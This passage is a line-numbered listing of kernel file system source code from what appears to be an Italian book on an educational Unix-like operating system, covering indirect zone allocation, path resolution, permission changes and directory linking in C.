740117              // The zone for the indirection table is allocated:
```

```
740118              // clear the zone and save.
740119              //
740120              memset (buffer, 0, SB_MAX_ZONE_SIZE);
740121              status = zone_write (inode->sb, allocated_zone, buffer);
740122              if (status < 0)
740123                {
740124                  //
740125                  // Cannot overwrite the zone. The variable 'errno' is
740126                  // set by 'zone_write()'.
740127                  //
740128                  return ((zno_t) -1);
740129                }
740130              //
740131              // The indirection table zone is allocated and cleared:
740132              // save the inode.
740133              //
740134              inode->indirect1 = allocated_zone;
740135              inode->changed = 1;
740136              status = inode_save (inode);
740137              if (status != 0)
740138                {
740139                  //
740140                  // Cannot save the inode. This is an error and the value
740141                  // for 'errno' is produced by 'inode_save()'.
740142                  //
740143                  return ((zno_t) -1);
740144                }
740145            }
740146          //
740147          // An indirect table is present inside the file system:
740148          // load it.
740149          //
740150          status = zone_read (inode->sb, inode->indirect1, zone_table);
740151          if (status != 0)
740152            {
740153              //
740154              // Cannot load the indirect table. This is an error and the
740155              // value for 'errno' is assigned by function 'zone_read()'.
740156              //
740157              return ((zno_t) -1);
740158            }
740159          //
740160          // The indirect table was read. Calculate the index inside
740161          // the table, for the requested zone.
740162          //
740163          i0 = (fzone - 7);
740164          //
740165          // Check if the zone is to be allocated.
740166          //
740167          if (zone_table[i0] == 0)
740168            {
740169              //
```

```
740170                 // There is not such zone, but it is not an error.
740171                 //
740172                 if (!write)
740173                   {
740174                     return ((zno_t) 0);
740175                   }
740176                 //
740177                 // The zone must be allocated.
740178                 //
740179                 allocated_zone = zone_alloc (inode->sb);
740180                 if (allocated_zone == 0)
740181                   {
740182                     //
740183                     // There is no space for the zone allocation. The
740184                     // variable 'errno' is already updated by
740185                     // 'zone_alloc()'.
740186                     //
740187                     return ((zno_t) -1);
740188                   }
740189                 //
740190                 // The zone is allocated: clear the zone and save.
740191                 //
740192                 memset (buffer, 0, SB_MAX_ZONE_SIZE);
740193                 status = zone_write (inode->sb, allocated_zone, buffer);
740194                 if (status < 0)
740195                   {
740196                     //
740197                     // Cannot overwrite the zone. The variable 'errno' is
740198                     // set by 'zone_write()'.
740199                     //
740200                     return ((zno_t) -1);
740201                   }
740202                 //
740203                 // The zone is allocated and cleared: update the indirect
740204                 // zone table an save it. The inode is not modified,
740205                 // because the indirect table is outside.
740206                 //
740207                 zone_table[i0] = allocated_zone;
740208                 status = zone_write (inode->sb, inode->indirect1, zone_table);
740209                 if (status != 0)
740210                   {
740211                     //
740212                     // Cannot save the zone. The variable 'errno' is already
740213                     // set by 'zone_write()'.
740214                     //
740215                     return ((zno_t) -1);
740216                   }
740217               }
740218             //
740219             // The zone is allocated.
740220             //
740221             return (zone_table[i0]);
```

```
740222       }
740223     else
740224       {
740225         //
740226         // (7 + indirect_zones) <= fzone
740227         // The zone number is inside the double indirect zone
740228         // references.
740229         // Verify to have the first level of second indirection.
740230         //
740231         if (inode->indirect2 == 0)
740232           {
740233             //
740234             // There is not such zone, but it is not an error.
740235             //
740236             if (!write)
740237               {
740238                 return ((zno_t) 0);
740239               }
740240             //
740241             // The first level of second indirection must be
740242             // initialized.
740243             //
740244             allocated_zone = zone_alloc (inode->sb);
740245             if (allocated_zone == 0)
740246               {
740247                 //
740248                 // Cannot allocate the zone. The variable `errno' is
740249                 // set by `zone_alloc()'.
740250                 //
740251                 return ((zno_t) -1);
740252               }
740253             //
740254             // The zone for the indirection table is allocated:
740255             // clear the zone and save.
740256             //
740257             memset (buffer, 0, SB_MAX_ZONE_SIZE);
740258             status = zone_write (inode->sb, allocated_zone, buffer);
740259             if (status < 0)
740260               {
740261                 //
740262                 // Cannot overwrite the zone. The variable `errno' is
740263                 // set by `zone_write()'.
740264                 //
740265                 return ((zno_t) -1);
740266               }
740267             //
740268             // The zone for the indirection table is allocated and
740269             // cleared: save the inode.
740270             //
740271             inode->indirect2 = allocated_zone;
740272             inode->changed = 1;
740273             status = inode_save (inode);
```

```
740274              if (status != 0)
740275                {
740276                  //
740277                  // Cannot save the inode. The variable 'errno' is
740278                  // set by 'inode_save()'.
740279                  //
740280                  return ((zno_t) -1);
740281                }
740282            }
740283          //
740284          // The first level of second indirection is present:
740285          // Read the second indirect table.
740286          //
740287          status = zone_read (inode->sb, inode->indirect2, zone_table);
740288          if (status != 0)
740289            {
740290              //
740291              // Cannot read the second indirect table. The variable
740292              // 'errno' is set by 'zone_read()'.
740293              //
740294              return ((zno_t) -1);
740295            }
740296          //
740297          // The first double indirect table was read: calculate
740298          // indexes inside first and second level of table.
740299          //
740300          fzone -= 7;
740301          fzone -= indirect_zones;
740302          i1     = fzone / indirect_zones;
740303          i2     = fzone % indirect_zones;
740304          //
740305          // Verify to have a second level.
740306          //
740307          if (zone_table[i1] == 0)
740308            {
740309              //
740310              // There is not such zone, but it is not an error.
740311              //
740312              if (!write)
740313                {
740314                  return ((zno_t) 0);
740315                }
740316              //
740317              // The second level must be initialized.
740318              //
740319              allocated_zone = zone_alloc (inode->sb);
740320              if (allocated_zone == 0)
740321                {
740322                  //
740323                  // Cannot allocate the zone. The variable 'errno' is set
740324                  // by 'zone_alloc()'.
740325                  //
```

```
740326                 return ((zno_t) -1);
740327               }
740328             //
740329             // The zone for the indirection table is allocated:
740330             // clear the zone and save.
740331             //
740332             memset (buffer, 0, SB_MAX_ZONE_SIZE);
740333             status = zone_write (inode->sb, allocated_zone, buffer);
740334             if (status < 0)
740335               {
740336                 //
740337                 // Cannot overwrite the zone. The variable 'errno' is
740338                 // set by 'zone_write()'.
740339                 //
740340                 return ((zno_t) -1);
740341               }
740342             //
740343             // Update the first level index and save it.
740344             //
740345             zone_table[i1] = allocated_zone;
740346             status = zone_write (inode->sb, inode->indirect2, zone_table);
740347             if (status != 0)
740348               {
740349                 //
740350                 // Cannot write the zone. The variable 'errno' is set
740351                 // by 'zone_write()'.
740352                 //
740353                 return ((zno_t) -1);
740354               }
740355           }
740356         //
740357         // The second level can be read, overwriting the array
740358         // 'zone_table[]'. The zone number for the second level
740359         // indirection table is saved inside 'zone_second', before
740360         // overwriting the array.
740361         //
740362         zone_second = zone_table[i1];
740363         status = zone_read (inode->sb, zone_second, zone_table);
740364         if (status != 0)
740365           {
740366             //
740367             // Cannot read the second level indirect table. The variable
740368             // 'errno' is set by 'zone_read()'.
740369             //
740370             return ((zno_t) -1);
740371           }
740372         //
740373         // The second level was read and 'zone_table[]' is now
740374         // such second one: check if the zone is to be allocated.
740375         //
740376         if (zone_table[i2] == 0)
740377           {
```

```
740378              //
740379              // There is not such zone, but it is not an error.
740380              //
740381              if (!write)
740382                {
740383                  return ((zno_t) 0);
740384                }
740385              //
740386              // Must be allocated.
740387              //
740388              allocated_zone = zone_alloc (inode->sb);
740389              if (allocated_zone == 0)
740390                {
740391                  //
740392                  // Cannot allocate the zone. The variable 'errno' is set
740393                  // by 'zone_alloc()'.
740394                  //
740395                  return ((zno_t) -1);
740396                }
740397              //
740398              // The zone is allocated: clear the zone and save.
740399              //
740400              memset (buffer, 0, SB_MAX_ZONE_SIZE);
740401              status = zone_write (inode->sb, allocated_zone, buffer);
740402              if (status < 0)
740403                {
740404                  //
740405                  // Cannot overwrite the zone. The variable 'errno' is
740406                  // set by 'zone_write()'.
740407                  //
740408                  return ((zno_t) -1);
740409                }
740410              //
740411              // The zone was allocated and cleared: update the indirect
740412              // zone table an save it. The inode is not modified, because
740413              // the indirect table is outside.
740414              //
740415              zone_table[i2] = allocated_zone;
740416              status = zone_write (inode->sb, zone_second, zone_table);
740417              if (status != 0)
740418                {
740419                  //
740420                  // Cannot write the zone. The variable 'errno' is set
740421                  // by 'zone_write()'.
740422                  //
740423                  return ((zno_t) -1);
740424                }
740425            }
740426          //
740427          // The zone is there: return the zone number.
740428          //
740429          return (zone_table[i2]);
```

```
740430        }
740431  }
```

105.4.32 kernel/fs/path_chdir.c

Si veda la sezione 104.3.30.

```
750001  #include <kernel/fs.h>
750002  #include <errno.h>
750003  #include <kernel/proc.h>
750004  //----------------------------------------------------------------------
750005  int
750006  path_chdir (pid_t pid, const char *path)
750007  {
750008      proc_t   *ps;
750009      inode_t  *inode_directory;
750010      int       status;
750011      char      path_directory[PATH_MAX];
750012      //
750013      // Get process.
750014      //
750015      ps = proc_reference (pid);
750016      //
750017      // The full directory path is needed.
750018      //
750019      status = path_full (path, ps->path_cwd, path_directory);
750020      if (status < 0)
750021        {
750022          return (-1);
750023        }
750024      //
750025      // Try to load the new directory inode.
750026      //
750027      inode_directory = path_inode (pid, path_directory);
750028      if (inode_directory == NULL)
750029        {
750030          //
750031          // Cannot access the directory: it does not exists or
750032          // permissions are not sufficient. Variable `errno' is set by
750033          // function `inode_directory()'.
750034          //
750035          errset (errno);
750036          return (-1);
750037        }
750038      //
750039      // Inode loaded: release the old directory and set the new one.
750040      //
750041      inode_put (ps->inode_cwd);
750042      //
750043      ps->inode_cwd = inode_directory;
750044      strncpy (ps->path_cwd, path_directory, PATH_MAX);
```

```
750045        //
750046        // Return.
750047        //
750048        return (0);
750049    }
```

105.4.33 kernel/fs/path_chmod.c

Si veda la sezione 104.3.31.

```
760001    #include <kernel/fs.h>
760002    #include <errno.h>
760003    #include <kernel/proc.h>
760004    //----------------------------------------------------------------------
760005    int
760006    path_chmod (pid_t pid, const char *path, mode_t mode)
760007    {
760008        proc_t   *ps;
760009        inode_t  *inode;
760010        //
760011        // Get process.
760012        //
760013        ps = proc_reference (pid);
760014        //
760015        // Try to load the file inode.
760016        //
760017        inode = path_inode (pid, path);
760018        if (inode == NULL)
760019          {
760020            //
760021            // Cannot access the file: it does not exists or permissions are
760022            // not sufficient. Variable 'errno' is set by function
760023            // 'inode_directory()'.
760024            //
760025            return (-1);
760026          }
760027        //
760028        // Verify to be root or to be the owner.
760029        //
760030        if (ps->euid != 0 && ps->euid != inode->uid)
760031          {
760032            errset (EACCES);        // Permission denied.
760033            return (-1);
760034          }
760035        //
760036        // Update the mode: the file type is kept and the
760037        // rest is taken form the parameter 'mode'.
760038        //
760039        inode->mode = (S_IFMT & inode->mode) | (~S_IFMT & mode);
760040        //
760041        // Save and release the inode.
```

```
760042      //
760043      inode->changed = 1;
760044      inode_save (inode);
760045      inode_put (inode);
760046      //
760047      // Return.
760048      //
760049      return (0);
760050  }
```

105.4.34 kernel/fs/path_chown.c

Si veda la sezione 104.3.32.

```
770001  #include <kernel/fs.h>
770002  #include <errno.h>
770003  #include <kernel/proc.h>
770004  //----------------------------------------------------------------------
770005  int
770006  path_chown (pid_t pid, const char *path, uid_t uid, gid_t gid)
770007  {
770008      proc_t   *ps;
770009      inode_t  *inode;
770010      //
770011      // Get process.
770012      //
770013      ps = proc_reference (pid);
770014      //
770015      // Must be root, as the ability to change group is not considered.
770016      //
770017      if (ps->euid != 0)
770018        {
770019          errset (EPERM);                 // Operation not permitted.
770020          return (-1);
770021        }
770022      //
770023      // Try to load the file inode.
770024      //
770025      inode = path_inode (pid, path);
770026      if (inode == NULL)
770027        {
770028          //
770029          // Cannot access the file: it does not exists or permissions are
770030          // not sufficient. Variable 'errno' is set by function
770031          // 'inode_directory()'.
770032          //
770033          return (-1);
770034        }
770035      //
770036      // Update the owner and group.
770037      //
```

```
770038      if (uid != -1)
770039        {
770040          inode->uid     = uid;
770041          inode->changed = 1;
770042        }
770043      if (gid != -1)
770044        {
770045          inode->gid     = gid;
770046          inode->changed = 1;
770047        }
770048      //
770049      // Save and release the inode.
770050      //
770051      inode_save (inode);
770052      inode_put (inode);
770053      //
770054      // Return.
770055      //
770056      return (0);
770057  }
```

105.4.35 kernel/fs/path_device.c

Si veda la sezione 104.3.33.

```
780001  #include <kernel/fs.h>
780002  #include <errno.h>
780003  #include <kernel/proc.h>
780004  //----------------------------------------------------------------------
780005  dev_t
780006  path_device (pid_t pid, const char *path)
780007  {
780008      proc_t   *ps;
780009      inode_t  *inode;
780010      dev_t     device;
780011      //
780012      // Get process.
780013      //
780014      ps = proc_reference (pid);
780015      //
780016      inode = path_inode (pid, path);
780017      if (inode == NULL)
780018        {
780019          errset (errno);
780020          return ((dev_t) -1);
780021        }
780022      //
780023      if (!(S_ISBLK (inode->mode) || S_ISCHR (inode->mode)))
780024        {
780025          errset (ENODEV);                // No such device.
780026          inode_put (inode);
```

```
780027          return ((dev_t) -1);
780028        }
780029      //
780030      device = inode->direct[0];
780031      inode_put (inode);
780032      return (device);
780033  }
```

105.4.36 kernel/fs/path_fix.c

Si veda la sezione 104.3.34.

```
790001  #include <kernel/fs.h>
790002  #include <errno.h>
790003  #include <kernel/proc.h>
790004  //----------------------------------------------------------------------
790005  int
790006  path_fix (char *path)
790007  {
790008      char    new_path[PATH_MAX];
790009      char   *token[PATH_MAX/4];
790010      int     t;                          // Token index.
790011      int     token_size;                 // Token array effective size.
790012      int     comp;                       // String compare return value.
790013      size_t  path_size;                  // Path string size.
790014      //
790015      // Initialize token search.
790016      //
790017      token[0] = strtok (path, "/");
790018      //
790019      // Scan tokens.
790020      //
790021      for (t = 0;
790022           t < PATH_MAX/4 && token[t] != NULL;
790023           t++, token[t] = strtok (NULL, "/"))
790024        {
790025          //
790026          // If current token is '.', just ignore it.
790027          //
790028          comp = strcmp (token[t], ".");
790029          if (comp == 0)
790030            {
790031              t--;
790032            }
790033          //
790034          // If current token is '..', remove previous token,
790035          // if there is one.
790036          //
790037          comp = strcmp (token[t], "..");
790038          if (comp == 0)
790039            {
```

```
790040               if (t > 0)
790041                 {
790042                   t -= 2;
790043                 }
790044               else
790045                 {
790046                   t = -1;
790047                 }
790048             }
790049           //
790050           // 't' will be incremented and another token will be
790051           // found.
790052           //
790053         }
790054       //
790055       // Save the token array effective size.
790056       //
790057       token_size = t;
790058       //
790059       // Initialize the new path string.
790060       //
790061       new_path[0] = '\0';
790062       //
790063       // Build the new path string.
790064       //
790065       if (token_size > 0)
790066         {
790067           for (t = 0; t < token_size; t++)
790068             {
790069               path_size = strlen (new_path);
790070               strncat (new_path, "/", 2);
790071               strncat (new_path, token[t], PATH_MAX - path_size - 1);
790072             }
790073         }
790074       else
790075         {
790076           strncat (new_path, "/", 2);
790077         }
790078       //
790079       // Copy the new path into the original string.
790080       //
790081       strncpy (path, new_path, PATH_MAX);
790082       //
790083       // Return.
790084       //
790085       return (0);
790086   }
```

105.4.37 kernel/fs/path_full.c

Si veda la sezione 104.3.35.

```
800001 #include <kernel/fs.h>
800002 #include <errno.h>
800003 #include <kernel/proc.h>
800004 //----------------------------------------------------------------------
800005 int
800006 path_full (const char *path, const char *path_cwd, char *full_path)
800007 {
800008     unsigned int path_size;
800009     //
800010     // Check some arguments.
800011     //
800012     if (path == NULL || strlen (path) == 0 || full_path == NULL)
800013       {
800014         errset (EINVAL);                // Invalid argument.
800015         return (-1);
800016       }
800017     //
800018     // The main path and the receiving one are right.
800019     // Now arrange to get a full path name.
800020     //
800021     if (path[0] == '/')
800022       {
800023         strncpy (full_path, path, PATH_MAX);
800024         full_path[PATH_MAX-1] = 0;
800025       }
800026     else
800027       {
800028         if (path_cwd == NULL || strlen (path_cwd) == 0)
800029           {
800030             errset (EINVAL);            // Invalid argument.
800031             return (-1);
800032           }
800033         strncpy (full_path, path_cwd, PATH_MAX);
800034         path_size = strlen (full_path);
800035         strncat (full_path, "/", (PATH_MAX - path_size));
800036         path_size = strlen (full_path);
800037         strncat (full_path, path, (PATH_MAX - path_size));
800038       }
800039     //
800040     // Fix path name so that it has no `..', `.', and no
800041     // multiple `/'.
800042     //
800043     path_fix (full_path);
800044     //
800045     // Return.
800046     //
800047     return (0);
800048 }
```

105.4.38 kernel/fs/path_inode.c

Si veda la sezione 104.3.36.

```
810001 #include <kernel/fs.h>
810002 #include <errno.h>
810003 #include <kernel/proc.h>
810004 #include <kernel/k_libc.h>
810005 //----------------------------------------------------------------------
810006 #define DIRECTORY_BUFFER_SIZE (SB_MAX_ZONE_SIZE/16)
810007 //----------------------------------------------------------------------
810008 inode_t *
810009 path_inode (pid_t pid, const char *path)
810010 {
810011     proc_t      *ps;
810012     inode_t     *inode;
810013     dev_t        device;
810014     char         full_path[PATH_MAX];
810015     char        *name;
810016     char        *next;
810017     directory_t dir[DIRECTORY_BUFFER_SIZE];
810018     char         dir_name[NAME_MAX+1];
810019     off_t        offset_dir;
810020     ssize_t      size_read;
810021     size_t       dir_size_read;
810022     ssize_t      size_to_read;
810023     int          comp;
810024     int          d;                // Directory index;
810025     int          status;           // inode_check() return status.
810026     //
810027     // Get process.
810028     //
810029     ps = proc_reference (pid);
810030     //
810031     // Arrange to get a packed full path name.
810032     //
810033     path_full (path, ps->path_cwd, full_path);
810034     //
810035     // Get the root file system inode.
810036     //
810037     inode = inode_get ((dev_t) 0, 1);
810038     if (inode == NULL)
810039       {
810040         errset (errno);
810041         return (NULL);
810042       }
810043     //
810044     // Save the device number.
810045     //
810046     device = inode->sb->device;
810047     //
810048     // Variable 'inode' already points to the root file system inode:
810049     // It must be a directory!
```

```
810050      //
810051      status = inode_check (inode, S_IFDIR, 1, ps->euid);
810052      if (status != 0)
810053        {
810054          //
810055          // Variable 'errno' should be set by inode_check().
810056          //
810057          errset (errno);
810058          inode_put (inode);
810059          return (NULL);
810060        }
810061      //
810062      // Initialize string scan: find the first path token, after the
810063      // first '/'.
810064      //
810065      name = strtok (full_path, "/");
810066      //
810067      // If the original full path is just '/' the variable 'name'
810068      // appears as a null pointer, and the variable 'inode' is already
810069      // what we are looking for.
810070      //
810071      if (name == NULL)
810072        {
810073          return (inode);
810074        }
810075      //
810076      // There is at least a name after '/' inside the original full
810077      // path. A scan is going to start: the original value for variable
810078      // 'inode' is a pointer to the root directory inode.
810079      //
810080      for (;;)
810081        {
810082          //
810083          // Find next token.
810084          //
810085          next = strtok (NULL, "/");
810086          //
810087          // Read the directory from the current inode.
810088          //
810089          for (offset_dir=0; ; offset_dir += size_read)
810090            {
810091              size_to_read = DIRECTORY_BUFFER_SIZE;
810092              //
810093              if ((offset_dir + size_to_read) > inode->size)
810094                {
810095                  size_to_read = inode->size - offset_dir;
810096                }
810097              //
810098              size_read = inode_file_read (inode, offset_dir, dir,
810099                                           size_to_read, NULL);
810100              //
810101              // The size read must be a multiple of 16.
```

```
810102                //
810103                size_read = ((size_read / 16) * 16);
810104                //
810105                // Check anyway if it is zero.
810106                //
810107                if (size_read == 0)
810108                  {
810109                    //
810110                    // The directory is ended: release the inode and return.
810111                    //
810112                    inode_put (inode);
810113                    errset (ENOENT);           // No such file or directory.
810114                    return (NULL);
810115                  }
810116                //
810117                // Calculate how many directory items we have read.
810118                //
810119                dir_size_read = size_read / 16;
810120                //
810121                // Scan the directory to find the current name.
810122                //
810123                for (d = 0; d < dir_size_read; d++)
810124                  {
810125                    //
810126                    // Ensure to have a null terminated string for
810127                    // the name found.
810128                    //
810129                    memcpy (dir_name, dir[d].name, (size_t) NAME_MAX);
810130                    dir_name[NAME_MAX] = 0;
810131                    //
810132                    comp = strcmp (name, dir_name);
810133                    if (comp == 0 && dir[d].ino != 0)
810134                      {
810135                        //
810136                        // Found the name and verified that it has a link to
810137                        // a inode. Now release the directory inode.
810138                        //
810139                        inode_put (inode);
810140                        //
810141                        // Get next inode and break the loop.
810142                        //
810143                        inode = inode_get (device, dir[d].ino);
810144                        break;
810145                      }
810146                  }
810147                //
810148                // If index 'd' is in a valid range, the name was found.
810149                //
810150                if (d < dir_size_read)
810151                  {
810152                    //
810153                    // The name was found.
```

```
810154                 //
810155                 break;
810156               }
810157           }
810158         //
810159         // If the function is still working, a file or a directory
810160         // was found: see if there is another name after this one
810161         // to look for. If there isn't, just break the loop.
810162         //
810163         if (next == NULL)
810164           {
810165             //
810166             // As no other tokens are to be found, break the loop.
810167             //
810168             break;
810169           }
810170         //
810171         // As there is another name after the current one,
810172         // the current file must be a directory.
810173         //
810174         status = inode_check (inode, S_IFDIR, 1, ps->euid);
810175         if (status != 0)
810176           {
810177             //
810178             // Variable 'errno' is set by 'inode_check()'.
810179             //
810180             errset (errno);
810181             inode_put (inode);
810182             return (NULL);
810183          }
810184         //
810185         // The inode is a directory and the user has the necessary
810186         // permissions: check if it is a mount point and go to the
810187         // new device root directory if necessary.
810188         //
810189         if (inode->sb_attached != NULL)
810190           {
810191             //
810192             // Must find the root directory for the new device, and
810193             // then go to that inode.
810194             //
810195             device = inode->sb_attached->device;
810196             inode_put (inode);
810197             inode = inode_get (device, 1);
810198             status = inode_check (inode, S_IFDIR, 1, ps->euid);
810199             if (status != 0)
810200               {
810201                 inode_put (inode);
810202                 return (NULL);
810203               }
810204           }
810205         //
```

```
810206             // As a directory was found, and another token follows it,
810207             // must continue the token scan.
810208             //
810209             name = next;
810210           }
810211         //
810212         // Current inode found is the file represented by the requested
810213         // path.
810214         //
810215         return (inode);
810216 }
```

105.4.39 kernel/fs/path_inode_link.c

Si veda la sezione 104.3.37.

```
820001 #include <kernel/fs.h>
820002 #include <errno.h>
820003 #include <kernel/proc.h>
820004 #include <libgen.h>
820005 //----------------------------------------------------------------------
820006 inode_t *
820007 path_inode_link (pid_t pid, const char *path, inode_t *inode,
820008                  mode_t mode)
820009 {
820010     proc_t      *ps;
820011     char         buffer[SB_MAX_ZONE_SIZE];
820012     off_t        start;
820013     int          d;       // Directory index.
820014     ssize_t      size_read;
820015     ssize_t      size_written;
820016     directory_t *dir = (directory_t *) buffer;
820017     char         path_copy1[PATH_MAX];
820018     char         path_copy2[PATH_MAX];
820019     char        *path_directory;
820020     char        *path_name;
820021     inode_t     *inode_directory;
820022     inode_t     *inode_new;
820023     dev_t        device;
820024     int          status;
820025     //
820026     // Check arguments.
820027     //
820028     if (path == NULL || strlen (path) == 0)
820029       {
820030         errset (EINVAL);        // Invalid argument:
820031         return (NULL);          // the path is mandatory.
820032       }
820033     //
820034     if (inode == NULL && mode == 0)
820035       {
```

```
820036            errset (EINVAL);         // Invalid argument: if the inode is to
820037            return (NULL);           // be created, the mode is mandatory.
820038          }
820039        //
820040        if (inode != NULL)
820041          {
820042            if (mode != 0)
820043              {
820044                errset (EINVAL);     // Invalid argument: if the inode is
820045                return (NULL);       // already present, the creation mode
820046              }                      // must not be given.
820047            if (S_ISDIR (inode->mode))
820048              {
820049                errset (EPERM);      // Operation not permitted.
820050                return (NULL);       // Refuse to link directory.
820051              }
820052            if (inode->links >= LINK_MAX)
820053              {
820054                errset (EMLINK);             // Too many links.
820055                return (NULL);
820056              }
820057          }
820058        //
820059        // Get process.
820060        //
820061        ps = proc_reference (pid);
820062        //
820063        // If the destination path already exists, the link cannot be made.
820064        // It does not matter if the inode is known or not.
820065        //
820066        inode_new = path_inode ((uid_t) 0, path);
820067        if (inode_new != NULL)
820068          {
820069            //
820070            // A file already exists with the same name.
820071            //
820072            inode_put (inode_new);
820073            errset (EEXIST);                 // File exists.
820074            return (NULL);
820075          }
820076        //
820077        // At this point, 'inode_new' is 'NULL'.
820078        // Copy the source path inside the directory path and name arrays.
820079        //
820080        strncpy (path_copy1, path, PATH_MAX);
820081        strncpy (path_copy2, path, PATH_MAX);
820082        //
820083        // Reduce to directory name and find the last name.
820084        //
820085        path_directory = dirname  (path_copy1);
820086        path_name      = basename (path_copy2);
820087        if (strlen (path_directory) == 0 || strlen (path_name) == 0)
```

```
820088         {
820089           errset (EACCES);         // Permission denied: maybe the
820090                                    // original path is the root directory
820091                                    // and cannot find a previous directory.
820092           return (NULL);
820093         }
820094       //
820095       // Get the directory inode.
820096       //
820097       inode_directory = path_inode (pid, path_directory);
820098       if (inode_directory == NULL)
820099         {
820100           errset (errno);
820101           return (NULL);
820102         }
820103       //
820104       // Check if something is mounted on it.
820105       //
820106       if (inode_directory->sb_attached != NULL)
820107         {
820108           //
820109           // Must select the right directory.
820110           //
820111           device = inode_directory->sb_attached->device;
820112           inode_put (inode_directory);
820113           inode_directory = inode_get (device, 1);
820114           if (inode_directory == NULL)
820115             {
820116               return (NULL);
820117             }
820118         }
820119       //
820120       // If the inode to link is known, check if the selected directory
820121       // has the same super block than the inode to link.
820122       //
820123       if (inode != NULL && inode_directory->sb != inode->sb)
820124         {
820125           inode_put (inode_directory);
820126           errset (ENOENT);         // No such file or directory.
820127           return (NULL);
820128         }
820129       //
820130       // Check if write is allowed for the file system.
820131       //
820132       if (inode_directory->sb->options & MOUNT_RO)
820133         {
820134           inode_put (inode_directory);
820135           errset (EROFS);          // Read-only file system.
820136           return (NULL);
820137         }
820138       //
820139       // Verify access permissions for the directory. The number "3" means
```

```
820140     // that the user must have access permission and write permission:
820141     // "-wx" == 2+1 == 3.
820142     //
820143     status = inode_check (inode_directory, S_IFDIR, 3, ps->euid);
820144     if (status != 0)
820145       {
820146         inode_put (inode_directory);
820147         return (NULL);
820148       }
820149     //
820150     // If the inode to link was not specified, it must be created.
820151     // From now on, the inode is referenced with the variable
820152     // 'inode_new'.
820153     //
820154     inode_new = inode;
820155     //
820156     if (inode_new == NULL)
820157       {
820158         inode_new = inode_alloc (inode_directory->sb->device, mode,
820159                                  ps->euid);
820160         if (inode_new == NULL)
820161           {
820162             //
820163             // The inode allocation failed, so, also the directory
820164             // must be released, before return.
820165             //
820166             inode_put (inode_directory);
820167             return (NULL);
820168           }
820169       }
820170     //
820171     // Read the directory content and try to add the new item.
820172     //
820173     for (start  = 0;
820174          start <  inode_directory->size;
820175          start += inode_directory->sb->blksize)
820176       {
820177         size_read = inode_file_read (inode_directory, start, buffer,
820178                                      inode_directory->sb->blksize,
820179                                      NULL);
820180         if (size_read < sizeof (directory_t))
820181           {
820182             break;
820183           }
820184         //
820185         // Scan the directory portion just read, for an unused item.
820186         //
820187         dir = (directory_t *) buffer;
820188         for (d = 0; d < size_read; d += (sizeof (directory_t)), dir++)
820189           {
820190             if (dir->ino == 0)
820191               {
```

```
820192                  //
820193                  // Found an empty directory item: link the inode.
820194                  //
820195                  dir->ino = inode_new->ino;
820196                  strncpy (dir->name, path_name, NAME_MAX);
820197                  inode_new->links++;
820198                  inode_new->changed = 1;
820199                  //
820200                  // Update the directory inside the file system.
820201                  //
820202                  size_written = inode_file_write (inode_directory, start,
820203                                                   buffer, size_read);
820204                  if (size_written != size_read)
820205                    {
820206                      //
820207                      // Write problem: release the directory and return.
820208                      //
820209                      inode_put (inode_directory);
820210                      errset (EUNKNOWN);
820211                      return (NULL);
820212                    }
820213                  //
820214                  // Save the new inode, release the directory and return
820215                  // the linked inode.
820216                  //
820217                  inode_save (inode_new);
820218                  inode_put (inode_directory);
820219                  return (inode_new);
820220                }
820221            }
820222        }
820223      //
820224      // The directory don't have a free item and one must be appended.
820225      //
820226      dir   = (directory_t *) buffer;
820227      start = inode_directory->size;
820228      //
820229      // Prepare the buffer with the link.
820230      //
820231      dir->ino = inode_new->ino;
820232      strncpy (dir->name, path_name, NAME_MAX);
820233      inode_new->links++;
820234      inode_new->changed = 1;
820235      //
820236      // Append the buffer to the directory.
820237      //
820238      size_written = inode_file_write (inode_directory, start, buffer,
820239                                       (sizeof (directory_t)));
820240      if (size_written != (sizeof (directory_t)))
820241        {
820242          //
820243          // Problem updating the directory: release it and return.
```

```
820244          //
820245          inode_put (inode_directory);
820246          errset (EUNKNOWN);
820247          return (NULL);
820248        }
820249      //
820250      // Close access to the directory inode and save the other inode,
820251      // with updated link count.
820252      //
820253      inode_put (inode_directory);
820254      inode_save (inode_new);
820255      //
820256      // Return successfully.
820257      //
820258      return (inode_new);
820259  }
```

105.4.40 kernel/fs/path_link.c

Si veda la sezione 104.3.38.

```
830001  #include <kernel/fs.h>
830002  #include <errno.h>
830003  #include <kernel/proc.h>
830004  //----------------------------------------------------------------------
830005  int
830006  path_link (pid_t pid, const char *path_old, const char *path_new)
830007  {
830008      proc_t            *ps;
830009      inode_t           *inode_old;
830010      inode_t           *inode_new;
830011      char               path_new_full[PATH_MAX];
830012      //
830013      // Get process.
830014      //
830015      ps = proc_reference (pid);
830016      //
830017      // Try to get the old path inode.
830018      //
830019      inode_old = path_inode (pid, path_old);
830020      if (inode_old == NULL)
830021        {
830022          //
830023          // Cannot get the inode: 'errno' is already set by
830024          // 'path_inode()'.
830025          //
830026          errset (errno);
830027          return (-1);
830028        }
830029      //
830030      // The inode is available and checks are done: arrange to get a
```

```
830031      // packed full path name and then the destination directory path.
830032      //
830033      path_full (path_new, ps->path_cwd, path_new_full);
830034      //
830035      //
830036      //
830037      inode_new = path_inode_link (pid, path_new_full, inode_old,
830038                                   (mode_t) 0);
830039      if (inode_new == NULL)
830040        {
830041          inode_put (inode_old);
830042          return (-1);
830043        }
830044      if (inode_new != inode_old)
830045        {
830046          inode_put (inode_new);
830047          inode_put (inode_old);
830048          errset (EUNKNOWN);              // Unknown error.
830049          return (-1);
830050        }
830051      //
830052      // Inode data is already updated by `path_inode_link()': just put
830053      // it and return. Please note that only one is put, because it is
830054      // just the same of the other.
830055      //
830056      inode_put  (inode_new);
830057      return (0);
830058  }
```

105.4.41 kernel/fs/path_mkdir.c

Si veda la sezione 104.3.39.

```
840001  #include <kernel/fs.h>
840002  #include <errno.h>
840003  #include <kernel/proc.h>
840004  #include <libgen.h>
840005  #include <kernel/k_libc.h>
840006  //----------------------------------------------------------------------
840007  int
840008  path_mkdir (pid_t pid, const char *path, mode_t mode)
840009  {
840010      proc_t   *ps;
840011      inode_t  *inode_directory;
840012      inode_t  *inode_parent;
840013      int       status;
840014      char      path_directory[PATH_MAX];
840015      char      path_copy[PATH_MAX];
840016      char     *path_parent;
840017      ssize_t   size_written;
840018      //
```

```
840019      struct {
840020          ino_t inode_1;
840021          char  name_1[NAME_MAX];
840022          ino_t inode_2;
840023          char  name_2[NAME_MAX];
840024      } directory;
840025      //
840026      // Get process.
840027      //
840028      ps = proc_reference (pid);
840029      //
840030      // Correct the mode with the umask.
840031      //
840032      mode &= ~ps->umask;
840033      //
840034      // Inside 'mode', the file type is fixed. No check is made.
840035      //
